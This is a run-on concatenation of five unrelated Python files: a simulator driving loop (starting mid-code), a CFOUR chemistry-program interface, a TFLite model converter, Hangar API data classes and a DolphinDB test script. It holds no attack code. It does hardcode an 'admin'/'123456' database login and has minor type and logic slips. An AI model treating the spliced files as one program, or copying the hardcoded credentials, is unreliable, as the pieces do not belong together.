    vt = threading.Thread(target=visual_thread, args=(img_arr, results, model))
    vt.start()

    if 'cones' in globals() and len(cones) != 0:
        Map_cones(cones, car_state.kinematics_estimated, R0q=R0q, cam_pos=cam_pos)
        car_controls = fsds.CarControls()
        span_max, s_, i_ = calculate_steering(cones, im.copy(), image.width, image.height)

        while True:
            cones.pop()
            if len(cones) <= config.CONE_MIN:
                break
            span, s, i = calculate_steering(cones, im.copy(), image.width, image.height)
            if abs(span) > abs(span_max):
                s_ = s
                i_ = i
                span_max = span

        car_controls.steering = s_
        im = i_

        for l in last:
            fuv = cm.cones[l].fuv[-1]
            cv2.putText(im, str(l), (fuv[1], fuv[2]), cv2.FONT_HERSHEY_PLAIN, 1, (255))

        car_controls.throttle = calculate_throttle(v, s_)
        car_controls.brake = 0
        car_controls.handbrake = False
        car_controls.gear_immediate = True
        car_controls.is_manual_gear = True
        car_controls.manual_gear = 1

        client.setCarControls(car_controls)

    gps = client.getGpsData()
    x, y = gps_navigator.get_nav(gps.gnss.geo_point)
    vehicle_path.add_point({'x': x, 'y': y})

    if not 'video' in globals():
        video = cv2.VideoWriter(str(time.time()) + ".avi", cv2.VideoWriter_fourcc('m', 'p', '4', 'v'), 10,
                                (image.width + image.height, image.height), 0)
    else:
        video.write(
            np.concatenate((im, get_car_imgmap(image.height, Quaternionr(1.0, 0, 0, 0).rotate(imu.orientation), None)),
                           axis=1))
    idx += 1

    if loop_closure(Vector3r(x, y, 0)):
        break

video.release()
car_controls = fsds.CarControls()
car_controls.throttle = 0.0
car_controls.brake = 0.1
client.reset()
client.setCarControls(car_controls)
print(idx / (t2 - t1))


"""
cfour.py

CFOUR interface
"""

import nitrogen.dfun as dfun
import nitrogen.constants
import numpy as np

import os
import shutil
import re

__all__ = ['CFOUR']

class CFOUR(dfun.DFun):
    """

    A simple CFOUR interface for accessing single point
    energies and derivatives.

    Attributes
    ----------
    params : dict
        The CFOUR keyword values used for the calculation.
    natoms : int
        The number of atoms. This equals `nx`/3.
    atomic_symbols : list
        The atomic symbols of each atom.
    work_dir : str
        The work directory.
    cleanup : bool
        The work directory clean-up flag.

    """

    def __init__(self, atomic_symbols, params,
                 work_dir = './scratch',
                 cleanup = True, units = 'angstrom'):

        """
        Create a new CFOUR interface.

        Parameters
        ----------
        atomic_symbols : list
            The atomic symbols of each atom.
        params : dict
            CFOUR keyword and value pairs.
        work_dir : str, optional
            The path to the work directory. The default is
            \'.\\scratch\'.
        cleanup : bool, optional
            If True (default), work directories will be
            deleted after use.
        units : {'angstrom', 'bohr'}, optional
            The Cartesian units.

        Notes
        -----

        All elements in `params` will be added as keywords to the
        ``*CFOUR()`` section of a CFOUR ``ZMAT`` input file. The
        ``COORD``,``UNITS``, ``DERIV_LEV``, ``PRINT``, and ``VIB``
        keywords are handled automatically.
        These should not be supplied by the user. Only methods
        for which ``VIB=ANALYTIC`` (i.e. analytic Hessians) is
        available are supported. For other methods, use
        lower CFOUR derivatives with NITROGEN finite difference drivers.

        """

        natoms = len(atomic_symbols) # number of atoms
        nx = 3*natoms # number of coordinates

        # Initialize the DFun object
        #
        # We hard-code the maxderiv to 2,
        # which is all CFOUR will except
        # via the DERIV_LEVEL keyword
        #
        super().__init__(self._f_cfour, nf = 1, nx = nx,
                         maxderiv = 2, zlevel = None)

        # Make sure Cartesian coordinates are on
        # and that the units are Angstroms
        #
        params = params.copy() # Create a new copy
        params["COORD"] = "CARTESIAN"
        if units == 'angstrom':
            params["UNITS"] = "ANGSTROM"
        elif units == 'bohr':
            params["UNITS"] = "BOHR"
        else:
            raise ValueError('Unexpected units value')

        self.params = params
        self.natoms = natoms
        self.atomic_symbols = atomic_symbols
        self.work_dir = work_dir
        self.cleanup = cleanup

    def _f_cfour(self, X, deriv = 0, out = None, var = None):
        """
        Evaluate CFOUR energy and derivatives
        """

        if var is None:
            var = [i for i in range(self.nx)]
        nd,nvar = dfun.ndnvar(deriv, var, self.nx)

        # X has shape (nx,) + base_shape
        base_shape = X.shape[1:]
        if out is None:
            out = np.ndarray((nd, self.nf) + base_shape, dtype = np.float64)

        # Loop over each input geometry in
        # serial fashion
        Xflat = np.reshape(X, (self.nx, -1))
        npts = Xflat.shape[1] # The number of jobs

        # Intermediate storage:
        # Flatten the base_shape to one dimension
        #
        out_flat = np.zeros((nd, self.nf, npts))

        for i in range(npts):

            jobstr = f'job{i:05d}'
            jobdir = os.path.join(self.work_dir, jobstr)

            #
            # Create the work space
            try:
                os.makedirs(jobdir)
            except FileExistsError:
                # Remove previous job directory
                shutil.rmtree(jobdir)
                os.makedirs(jobdir)

            # Energy calculation only

            #
            # Create the ZMAT text file
            # for a single-point energy
            #
            with open(os.path.join(jobdir, 'ZMAT'), 'w') as file:
                file.write('nitrogen-cfour-interface\n')
                #
                # Write Cartesian coordinates
                for j in range(self.natoms):
                    file.write(self.atomic_symbols[j] + " ")
                    for k in range(3):
                        xval = Xflat[3*j+k, i] # Atom j, coordinate k = x,y,z
                        file.write(f'{xval:.15f} ')

                    file.write("\n")
                file.write("\n")

                # Write options
                file.write("*CFOUR(")

                first = True
                for keyword, value in self.params.items():
                    if not first:
                        file.write("\n") # new line
                    else:
                        first = False
                    file.write(keyword + "=" + value)

                # Write the necessary keywords based
                # on deriv level
                #
                if deriv == 0:
                    file.write("\nDERIV_LEV=0")
                    file.write("\nPRINT=0")
                elif deriv == 1:
                    file.write("\nDERIV_LEV=1")
                    file.write("\nPRINT=1")
                elif deriv == 2:
                    file.write("\nDERIV_LEV=2")
                    file.write("\nPRINT=1")
                    file.write("\nVIB=ANALYTIC")

                file.write(")\n")

            # Save current word dir
            current_wd = os.getcwd()
            # Now change to the job directory
            os.chdir(jobdir)
            # Execute cfour
            os.system('xcfour > out')
            # and go back
            os.chdir(current_wd)

            ######################
            # Parse CFOUR output
            ######################
            if deriv >= 0:
                #
                # Find the energy in the string
                #
                #   "The final electronic energy is     XXXXXXXXXXXXXXXXX a.u."
                #
                found = False
                with open(os.path.join(jobdir, 'out'), 'r') as file:
                    for line in file:
                        if re.search('final electronic energy', line):
                            energy = float(line.split()[5]) # The sixth field is the energy, a.u.
                            found = True

                if not found:
                    raise RuntimeError(f"Cannot find a CFOUR energy in {jobstr}")

                # Save energy
                # converting from hartree to cm**-1
                out_flat[0,0,i] = energy * nitrogen.constants.Eh

            if deriv >= 1:
                #
                # Find the gradient
                #
                # This will be headed by
                #       reordered gradient in QCOM coords for ZMAT order
                # followed by a line for each atom
                # in the original ZMAT ordering we provided
                #
                # Note:
                #  "QCOMP" is the computation coordinates used by
                #  CFOUR for most of its work
                #  "QCOM" (no "P") are the original coordinates passed
                #  in ZMAT translated to the COM frame
                #
                #  Because energies and gradients are independent
                #  of total translations, we can use QCOM
                #  derivatives.
                #
                found = False
                with open(os.path.join(jobdir, 'out'), 'r') as file:
                    for line in file:
                        if re.search('reordered gradient', line):
                            # found it
                            found = True
                            break
                    if not found:
                        raise RuntimeError(f"Cannot find a CFOUR gradient in {jobstr}.")

                    # Now parse gradient lines
                    grad_all = np.zeros((self.nx,))
                    for j in range(self.natoms):
                        grad_str = file.readline().split()
                        for k in range(3):
                            # Save the x, y, z components
                            grad_all[j*3 + k] = float(grad_str[k])

                # Now copy the requested derivatives to
                # the output buffer, per the `var` order
                #
                # The CFOUR printed values are in units
                # of hartree/bohr. Convert this to
                # cm**-1 / Angstrom
                #
                coeff = nitrogen.constants.Eh / nitrogen.constants.a0
                for k in range(len(var)):
                    # The derivative w.r.t. var[k]
                    out_flat[k+1,0,i] = grad_all[var[k]] * coeff

            if deriv >= 2:
                #
                # Parse the Hessian data
                #
                # VIB=ANALYTIC stores this in FCM
                #
                # As far as I can tell, FCM stores
                # in the "symmetrized" atomic order, while
                # FCMFINAL uses the original ZMAT order
                # Both appear to be in QCOMP coordinates, not
                # the ZMAT's original QCOM coordinates
                #
                try:
                    fcm_raw = np.loadtxt(os.path.join(jobdir,'FCMFINAL'),
                                         skiprows=1)
                except:
                    raise RuntimeError(f"Cannot find a CFOUR FCMFINAL file in {jobstr}.")
                if fcm_raw.shape != (3 * self.natoms**2 , 3):
                    raise RuntimeError(f"Unexpected FCM shape in {jobstr}.")

                fcm_1d = np.zeros((self.nx**2,))
                for j in range(3*self.natoms**2):
                    for k in range(3):
                        fcm_1d[j*3 + k] = fcm_raw[j,k]
                fcm_full = fcm_1d.reshape((self.nx, self.nx))

                #
                # Convert from Eh/a0**2 to cm**-1 / Angstrom**2
                fcm_full *= nitrogen.constants.Eh / (nitrogen.constants.a0**2)

                #
                # Now we need to parse the OMAT transformation
                # matrix between QCOMP and QCOM
                #
                # This starts 2 lines after
                #      Transformation matrix between QCOM and QCOMP (OMAT)
                # and is a 3 x 3 matrix
                #

                found = False
                with open(os.path.join(jobdir, 'out'), 'r') as file:
                    for line in file:
                        if re.search('Transformation matrix between QCOM and QCOMP', line):
                            # found it
                            found = True
                            break
                    if not found:
                        raise RuntimeError(f"Cannot find a CFOUR OMAT in {jobstr}.")

                    # Now parse gradient lines
                    # First, burn one line
                    file.readline()
                    #
                    # Store OMAT as printed
                    #
                    OMAT = np.zeros((3,3))
                    for j in range(3):
                        omat_str = file.readline().split()
                        for k in range(3):
                            # Save the x, y, z components
                            OMAT[j,k] = float(omat_str[k])

                #
                # A 3x1 QCOMP atomic vector and a
                # 3x1 QCOM atomic vector appear to be
                # related as
                #
                #    QCOMP = OMAT @ QCOM
                #
                # This is the ***opposite*** of the printed description
                # in the CFOUR output file. I expect it is just
                # a mistake in the text.
                #

                # The Hessian I want is therefore
                #
                # O.T @ fcm_full @ O

                #
                # Build a block diagonal matrix with
                # OMAT on each diagonal block
                #
                Om = np.zeros((self.nx, self.nx))
                for a in range(self.natoms):
                    # Atomic block (a,a)
                    for j in range(3):
                        for k in range(3):
                            Om[a*3 + j, a*3 + k] = OMAT[j,k]

                fcm_full = Om.T @ fcm_full @ Om

                ###################
                # Copy to output buffer
                # We now take into account that
                # only the variables in `var` are requested
                #
                idx = len(var) + 1 # The starting index for second derivatives
                for k1 in range(len(var)):
                    for k2 in range(k1, len(var)):
                        v1 = var[k1]
                        v2 = var[k2]
                        # need the v1,v2 derivative
                        out_flat[idx, 0, i] = fcm_full[v1,v2]
                        if v1 == v2:
                            out_flat[idx,0,i] *= 0.5
                            # derivative array format includes
                            # 1/2! factor of diagonal second derivative
                        idx += 1
                # done
                #########

            #
            # Remove job directory
            #
            if self.cleanup:
                shutil.rmtree(jobdir)

        # Reshape output data to correct base_shape
        # and copy to out buffer
        np.copyto(out, out_flat.reshape((nd, self.nf) + base_shape))

        return out

    def __repr__(self):
        return f"CFOUR({self.atomic_symbols!r}, {self.params!r})"


import tensorflow as tf

TF_PATH = './resnet50'
TFLite_name = 'resnet50.tflite'

# Convert the model
converter = tf.lite.TFLiteConverter.from_saved_model(TF_PATH) # path to the SavedModel directory
# converter.target_spec.supported_ops = [ # 없으면 에러뜸
#   tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.
#   tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.
# ]
# Quantization Option
# 옵션 정해주지 않으면 float32로 변환됨
# line14 옵션 설정하면 int8로 변환됨
# line14,15 옵션 설정하면 float16으로 변환됨
# converter.optimizations = [tf.lite.Optimize.DEFAULT]
# converter.target_spec.supported_types = [tf.float16]

# converter.experimental_supported_backends = ["GPU"]

# tensorflow to TFLite convert # 변환 시간 오래걸림
tflite_model = converter.convert()

# TFLite model save
with open(TFLite_name, 'wb') as f:
  f.write(tflite_model)


import dataclasses
import enum
import datetime
from typing import List, Tuple, Dict

class HangarPermissions(enum.Enum):
    CREATE_ORGANISATION = "create_organization"
    CREATE_PROJECT = "create_project"
    CREATE_VERSION = "create_version"
    DELETE_PROJECT = "delete_project"
    DELETE_VERSION = "delete_version"
    EDIT_ALL_USER_SETTINGS = "edit_all_user_settings"
    EDIT_API_KEYS = "edit_api_keys"
    EDIT_OWN_USER_SETTINGS = "edit_own_user_settings"
    EDIT_PAGE = "edit_page"
    EDIT_SUBJECT_SETTINGS = "edit_subject_settings"
    EDIT_TAGS = "edit_tags"
    EDIT_VERSION = "edit_version"
    HARD_DELETE_PROJECT = "hard_delete_project"
    HARD_DELETE_VERSION = "hard_delete_version"
    IS_STAFF = "is_staff"
    IS_SUBJECT_MEMBER = "is_subject_member"
    IS_SUBJECT_OWNER = "is_subject_owner"
    MANAGE_SUBJECT_MEMBERS = "manage_subject_members"
    MANUAL_VALUE_CHANGES = "manual_value_changes"
    MOD_NOTES_AND_FLAGS = "mod_notes_and_flags"
    POST_AS_ORGANIZATION = "post_as_organization"
    REVIEWER = "reviewer"
    SEE_HIDDEN = "see_hidden"
    VIEW_HEALTH = "view_health"
    VIEW_IP = "view_ip"
    VIEW_LOGS = "view_logs"
    VIEW_PUBLIC_INFO = "view_public_info"
    VIEW_STATS = "view_stats"

class HangarPermissionType(enum.Enum):
    GLOBAL = 'global'
    ORGANISATION = 'organisation'
    PROJECT = 'project'

class HangarSearchSort(enum.Enum):
    DOWNLOADS = 'downloads'
    NEWEST = 'newest'
    RECENT_DOWNLOADS = 'recent_downloads'
    RECENT_VIEWS = 'recent_views'
    STARS = 'stars'
    UPDATED = 'updated'
    VIEWS = 'views'

class HangarCompactProjectSort(enum.Enum):
    DOWNLOADS = 'downloads'
    NEWEST = 'newest'
    RECENT_DOWNLOADS = 'recent_downloads'
    RECENT_VIEWS = 'recent_views'
    STARS = 'stars'
    UPDATED = 'updated'
    VIEWS = 'views'
    ONLY_RELEVANCE = 'only_relevance'

class HangarVisibility(enum.Enum):
    NEEDS_APPROVAL = 'needsApproval'
    NEEDS_CHANGES = 'needsChanges'
    NEW = 'new'
    PUBLIC = 'public'
    SOFT_DELETE = 'softDelete'

class HangarStaffSort(enum.Enum):
    JOIN_DATE = 'joinDate'
    PROJECT_COUNT = 'projectCount'

class HangarAuthorSort(enum.Enum):
    JOIN_DATE = 'joinDate'
    PROJECT_COUNT = 'projectCount'
    USERNAME = 'username'

class HangarReviewState(enum.Enum):
    PARTIALLY_REVIEWED = 'partially_reviewed'
    REVIEWED = 'reviewed'
    UNDER_REVIEW = 'under_review'
    UNREVIEWED = 'unreviewed'

@dataclasses.dataclass
class HangarApiKey:
    created_at: datetime.datetime
    name: str
    permissions: List[HangarPermissions]
    token_identifier: str

@dataclasses.dataclass
class HangarApiSession:
    _expires_in: int
    token: str
    expires: datetime.datetime = None

    def __post_init__(self):
        self.expires = datetime.datetime.now() + datetime.timedelta(seconds=self._expires_in)

@dataclasses.dataclass
class HangarUserPermissions:
    permission_binary_string: str
    permissions: List[HangarPermissions]
    type: HangarPermissionType

@dataclasses.dataclass
class HangarNamespace:
    owner: str
    slug: str

    def __str__(self):
        return f"{self.owner}/{self.slug}"

@dataclasses.dataclass
class HangarProjectDonationSettings:
    enabled: bool
    subject: str

@dataclasses.dataclass
class HangarProjectLicense:
    name: str
    type: str
    url: str

@dataclasses.dataclass
class HangarProjectSettings:
    donation: HangarProjectDonationSettings
    forum_sync: bool
    homepage: str
    issues: str
    keywords: List[str]
    license: HangarProjectLicense
    source: str
    sponsors: str
    support: str
    wiki: str

@dataclasses.dataclass
class HangarProjectStatistics:
    downloads: int
    recent_downloads: int
    recent_views: int
    stars: int
    views: int
    watchers: int

@dataclasses.dataclass
class HangarUserActions:
    flagged: bool
    starred: bool
    watching: bool

@dataclasses.dataclass
class HangarCompactProject:
    name: str
    namespace: HangarNamespace
    visibility: HangarVisibility
    created: datetime.datetime
    updated: datetime.datetime
    category: str
    statistics: HangarProjectStatistics

@dataclasses.dataclass
class HangarProject(HangarCompactProject):
    description: str
    post_id: int
    settings: HangarProjectSettings
    topic_id: int
    user_actions: HangarUserActions

@dataclasses.dataclass
class HangarPagination:
    count: int
    limit: int
    offset: int

@dataclasses.dataclass
class HangarPaginatedResult:
    pagination: HangarPagination
    result: object

@dataclasses.dataclass
class HangarPaginatedProjectResult(HangarPaginatedResult):
    result: List[HangarProject]

@dataclasses.dataclass
class HangarPaginatedCompactProjectResult(HangarPaginatedResult):
    result: List[HangarCompactProject]

class HangarColor(enum.Enum):
    class ColorConversionException(Exception):
        pass

    BLUE = 0x0000FF
    DARK_LIME_GREEN = 0x009600
    PURE_BLUE = 0x0096FF
    PURE_GREEN = 0x00DC00
    PURE_CYAN = 0x00E1E1
    PURE_GREEN_2 = 0x7FFF00
    GRAY = 0xA9A9A9
    PURE_VIOLET = 0xB400FF
    PALE_CYAN = 0xB9F2FF
    LIGHT_GRAY = 0xC0C0C0
    VERY_LIGHT_VIOLET = 0xC87DFF
    MODERATE_YELLOW = 0xCFB53B
    PURE_RED = 0xDC0000
    PURE_MAGENTA = 0xE100E1
    VERY_PALE_CYAN = 0xE7FEFF
    PURE_ORANGE = 0xFF8200
    PURE_YELLOW = 0xFFC800
    TRANSPARENT = None

    @property
    def hex_string(self) -> str:
        if self.value == HangarColor.TRANSPARENT:
            raise HangarColor.ColorConversionException("Cannot convert TRANSPARENT to hex string")
        return "#{:06x}".format(self.value).upper()

    @property
    def rgb(self) -> Tuple[int, int, int]:
        if self.value == HangarColor.TRANSPARENT:
            raise HangarColor.ColorConversionException("Cannot convert TRANSPARENT to RGB")
        return self.value >> 16, (self.value >> 8) & 0xFF, self.value & 0xFF

    @property
    def display_name(self) -> str:
        return self.name.replace('_', ' ').capitalize()

@dataclasses.dataclass
class HangarRole:
    title: str
    value: str
    role_id: int
    assignable: bool
    color: HangarColor
    permissions: int
    rank: int
    role_category: str

@dataclasses.dataclass
class HangarProjectMember:
    user: str
    permissions: List[HangarRole]

@dataclasses.dataclass
class HangarPaginatedProjectMemberResult(HangarPaginatedResult):
    result: List[HangarProjectMember]

@dataclasses.dataclass
class HangarUser:
    name: str
    created_at: datetime.datetime
    join_date: datetime.datetime
    is_organisation: datetime.datetime
    locked: bool
    roles: List[HangarRole]
    tagline: str
    project_count: int

@dataclasses.dataclass
class HangarPaginatedUserResult(HangarPaginatedResult):
    result: List[HangarUser]

@dataclasses.dataclass
class HangarDayProjectStatistics:
    downloads: int
    views: int

class HangarProjectChannelFlag(enum.Enum):
    FROZEN = 'FROZEN'
    PINNED = 'PINNED'
    SKIP_REVIEW_QUEUE = 'SKIP_REVIEW_QUEUE'
    UNSTABLE = 'UNSTABLE'

class HangarPinnedStatus(enum.Enum):
    CHANNEL = 'CHANNEL'
    VERSION = 'VERSION'
    NONE = 'NONE'

@dataclasses.dataclass
class HangarProjectChannel:
    name: str
    color: HangarColor
    created: datetime.datetime
    flags: List[HangarProjectChannelFlag]

@dataclasses.dataclass
class HangarPluginDependency:
    name: str
    namespace: HangarNamespace
    required: bool
    external_url: str

@dataclasses.dataclass
class HangarVersionStatistics:
    downloads: int

@dataclasses.dataclass
class HangarFileInfo:
    name: str
    size_bytes: int
    md_5: str

@dataclasses.dataclass
class HangarVersion:
    author: str
    channel: HangarProjectChannel
    created: datetime.datetime
    description: str
    external_url: str
    file_info: HangarFileInfo
    name: str
    pinned_status: HangarPinnedStatus
    platform_dependencies: Dict[str, List[str]]
    platform_dependencies_formatted: Dict[str, str]
    plugin_dependencies: Dict[str, HangarPluginDependency]
    post_id: int
    review_state: HangarReviewState
    statistics: HangarVersionStatistics
    visibility: HangarVisibility

@dataclasses.dataclass
class HangarPaginatedVersionResult(HangarPaginatedResult):
    result: List[HangarVersion]


import dolphindb as ddb
s = ddb.session()
s.connect("localhost",8801,"admin","123456")
import numpy as np
import pandas as pd
from dolphindb.type_util import *
from datetime import datetime
from datetime import timedelta

def test1():
    data={
        'pint':[0,1,intNan],
         'pfloat':[0.5,5.5, floatNan],
         'pbool': [True, False, boolNan],
         'pstring':['hello',None,'world'],
        # 'pdatetime64_1':[datetime(2017,6,27,15,56,56,167000),datetime(2017,6,27,0,0,0,0),np.NAN],
        # 'pdatetime64_2':[datetime(2011,6,12),np.nan,datetime(2012,12,30)],
        # 'pdatetime64_3':[datetime(2012,5,14,3),np.NAN,datetime(2012,5,14,4)],
        # 'pdatetime64_4':[datetime(2016,6,14,3,15),datetime(2016,7,15,16,30),np.NAN],
        #  'pdatetime65_5':[datetime(2016,8,26,6,12,30),datetime(2016,8,27,19,56,24),np.datetime64('NaT') ]
        #    'time1':[Time.from_time(time(5,6,7)),Time.from_time(time(5,6,7)),Time.from_time(time(5,6,7))]
         }

    from pandas import Series,DataFrame
    df=DataFrame(data)
    print (df.dtypes)
    dd=s.table(data=df).executeAs("t1")
    # print(s.run("exec pbool from t1"))
    df2=dd.toDF()
    print(df2)
    print(df2.dtypes)

def test2():
    test2 = s.loadTable(dbPath="C:/DolphinDB/db_testing/testPython/", tableName="t1")
    df = test2.toDF()
    print(df)
    print(df["ctime"])
    print(df["cminute"])
# s.upload({"a":np.bool_([True, False,None,True])})
# print(s.run("a"))

# test2()

def test3():
    test3 = s.loadTable(dbPath="dfs://testPython", tableName="t4")
    data5 = {'p0': [1, 2, 3, 3],
             'p1': [5,6, intNan, 201],
             'p2': [0.5, np.NaN, 100.24, 20.24]}
    df5 = pd.DataFrame(data5)
    print(df5)
    test3.append(s.table(data=data5))
# s.upload({'a':[True, False, boolNan]})
# print(s.run('a'))
# print(s.run('typestr(a)'))
# df = pd.DataFrame({'a':[True, boolNan, False]})
# print(df)
# print(df.dtypes)
# s.upload({'b':pd.DataFrame({'a':[True, -128, False]})})
# print(s.run("b"))
test1()